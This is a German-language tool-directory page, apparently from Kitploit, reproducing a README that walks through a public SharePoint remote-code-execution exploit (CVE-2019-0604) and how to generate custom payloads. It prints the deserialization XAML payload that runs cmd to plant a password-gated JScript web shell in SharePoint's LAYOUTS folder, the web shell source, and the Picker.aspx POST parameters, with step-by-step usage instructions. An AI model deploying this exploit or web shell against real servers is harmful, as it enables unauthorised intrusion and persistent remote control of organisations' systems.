Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2019-0604 — Ausführliche Erläuterung des Codes von k8geges SharePoint-RCE-Exploit cve-2019-0604-exp.py und Erstellung deines eigenen Payloads | Kitploit
Tools/GitHubGitHub/boxhg/cve-2019-0604
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed Teaming
GitHubboxhg/cve-2019-0604

CVE-2019-0604

Ausführliche Erläuterung des Codes von k8geges SharePoint-RCE-Exploit cve-2019-0604-exp.py und Erstellung deines eigenen Payloads

Repository anzeigen
306vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Bild Pyaload Maker

1. Erläuterung von k8geges cve-2019-0604-exp.py

k8geges Skript: https://github.com/k8gege/CVE-2019-0604

Ehrlich gesagt ist k8geges Python-Skript etwas umständlich geraten – ein ganzer Haufen Hexadezimal-Strings, aufgeteilt in payload1, 2, 3. Ganz schön fies.

Das per Python-Skript per Remote-POST übertragene Payload ist nach der Deserialisierung ein XML-Datenkörper.

root@kitploit:~
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">
    <ObjectDataProvider.MethodParameters>
		<System:String>cmd</System:String>
		<System:String>/c echo ^&lt;%@ Page Language="Jscript" %^>^&lt;%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx" </System:String>
    </ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>

Bild Pyaload Maker

Das heißt, es wird remote ein echo-Befehl ausgeführt, der eine up.aspx-Datei in das Layouts-Verzeichnis der SharePoint-Vorlagen auf dem Server schreibt.

root@kitploit:~
cmd /c echo ^&lt;%@ Page Language="Jscript" %^>^&lt;%var pwd="tom";var uastr=Request.UserAgent;if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) {var code=uastr.Replace(pwd+"===","");eval(code,"unsafe"); };%^> > "%CommonProgramFiles%\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS\\ua.aspx" 

Erzeugt wird eine speziell für K8-Feidao vorgesehene UA-Einzeiler-Webshell (ua.aspx) – OK, Shell in der Hand.

root@kitploit:~
<%@ Page Language="Jscript" %>
<%
var pwd="tom";
var uastr=Request.UserAgent;
if (uastr.Substring(0, uastr.IndexOf("==="))== pwd) 
{
    var code=uastr.Replace(pwd+"===","");
    eval(code,"unsafe"); 
};
%>

2. Erstelle dein eigenes Payload

Wenn du ein eigenes Payload zum Remote-Ausführen von Befehlen erstellen möchtest, gehe folgendermaßen vor:

  1. Lade das kompilierte Programm von https://github.com/boxhg/CVE-2019-0604/releases herunter, entpacke es und führe CVE20190604Forms.exe aus.

  2. Gib im Textfeld „Cmd“ einen Befehl ein und klicke auf „Update XML“ – der Befehl wird zu XML zusammengeführt.

  3. Klicke auf „EncodeEntity“: Das Programm serialisiert den XML-String zu einem Objekt und löst die Ausführung des Payloads aus. Der serialisierte String wird im Textfeld „payload“ angezeigt.

root@kitploit:~
__cp087135009700370047005600d600e2004400160047001600e20035005600270067009600360056003700e2009400e600470056002700e6001600c600e2005400870007001600e60046005600460075002700160......
  1. Diese Strings wie „__cp....“ sind das Payload. Kopiere sie in cve-2019-0604-exp.py und ersetze damit das ursprüngliche Payload von k8.

  2. Beim Senden des Payloads an Picker.aspx sind weitere Parameter erforderlich. Die relevanten Parameter kannst du mit dem Burp-Proxy abgreifen und den Payload-Wert anschließend an ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData übergeben.

root@kitploit:~
...

values = {
    '__REQUESTDIGEST':YOUR_REQUESTDIGEST,
    '__EVENTTARGET':'',
    '__EVENTARGUMENT':'',
    '__spPickerHasReturnValue':'',
    '__spPickerReturnValueHolder':'',
    '__VIEWSTATE':YOUR_VIEWSTATE,
    '__VIEWSTATEGENERATOR':'',
    'ctl00$PlaceHolderDialogBodySection$ctl07$queryTextBox':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$hiddenSpanData':**YOUR_PayloadData**,
    'ctl00$PlaceHolderDialogBodySection$ctl05$OriginalEntities':'<Entities />',
    'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityKey':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$HiddenEntityDisplayText':'',
    'ctl00$PlaceHolderDialogBodySection$ctl05$downlevelTextBox':'&#160;',
    '__CALLBACKID':'ctl00$PlaceHolderDialogBodySection$ctl07',
    '__CALLBACKPARAM':';#;#11;#;#;#',
    '__EVENTVALIDATION':YOUR_EVENTVALIDATION
}

data = urllib.urlencode(values)

...
  1. Führe das Python-Skript aus – good luck!!!

Empfehlung: Sende das Payload lieber mit Burp – das ist bequemer.

Weitere Informationen zu CVE-2019-0604:

https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability

https://github.com/linhlhq/CVE-2019-0604

https://github.com/k8gege/K8CScan/wiki/%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8-CVE-2019-0604-SharePoint-GetShell-Exploit

https://github.com/k8gege/CVE-2019-0604

Tool herunterladen